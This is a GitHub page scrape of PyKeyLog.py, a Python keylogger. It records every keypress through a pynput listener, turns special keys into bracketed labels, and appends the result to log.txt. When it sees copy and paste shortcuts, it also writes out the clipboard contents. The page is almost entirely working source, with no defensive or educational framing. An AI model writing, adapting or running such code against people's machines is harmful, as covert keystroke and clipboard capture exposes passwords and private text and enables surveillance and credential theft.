-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPyKeyLog.py
More file actions
108 lines (72 loc) · 2.24 KB
/
Copy pathPyKeyLog.py
File metadata and controls
108 lines (72 loc) · 2.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pynput.keyboard import Listener
import pyperclip
last_pressed_key = None
copied = False
pasted = False
def log_event(key):
global last_pressed_key
global copied
global pasted
letter = str(key)
if letter == "'":
pass
else:
letter = letter.replace("'", "")
if letter == 'Key.space':
letter = ' '
if letter == 'Key.shift':
letter = '[SHIFT]'
if letter == 'Key.ctrl_l':
letter = '[CTRL]'
if letter == 'Key.enter':
letter = '[ENTER]\n'
if letter == 'Key.alt_l':
letter = '[ALT]'
if letter == 'Key.tab':
letter = '[TAB]'
if letter == 'caps_lock':
letter = '[CAPS-LOCK]'
if letter == 'Key.delete':
letter = '[DELETE]'
if letter == 'Key.esc':
letter = '[ESC]'
if letter == 'Key.print_screen':
letter = '[PRINT-SCREEN]'
if letter == 'Key.backspace':
letter = '[BACKSPACE]'
if letter == 'Key.cmd':
letter = '[Windows/Mac BUTTON]'
if letter == 'Key.down':
letter = '[DOWN-KEY]'
if letter == 'Key.up':
letter = '[UP-KEY]'
if letter == 'Key.left':
letter = '[LEFT-KEY]'
if letter == 'Key.right':
letter = '[RIGHT-KEY]'
with open("log.txt", 'a') as f:
if copied:
f.write(f'\n\n[COPIED TEXT (WRAPPED IN DOUBLE QUOTES)]: "{pyperclip.paste()}"\n\n')
copied = False
if pasted:
f.write(f'\n\n[PASTED TEXT (WRAPPED IN DOUBLE QUOTES)]: "{pyperclip.paste()}"\n\n')
pasted = False
if last_pressed_key == '[CTRL]' and letter == '[CTRL]':
pass
elif last_pressed_key == '[SHIFT]' and letter == '[SHIFT]':
pass
elif letter == '""':
letter = letter.replace('""', "'")
last_pressed_key = letter
f.write(letter)
elif letter == '\\x03':
last_pressed_key = letter
copied = True
elif letter == '\\x16':
last_pressed_key = letter
pasted = True
else:
last_pressed_key = letter
f.write(letter)
with Listener(on_press=log_event) as listener:
listener.join()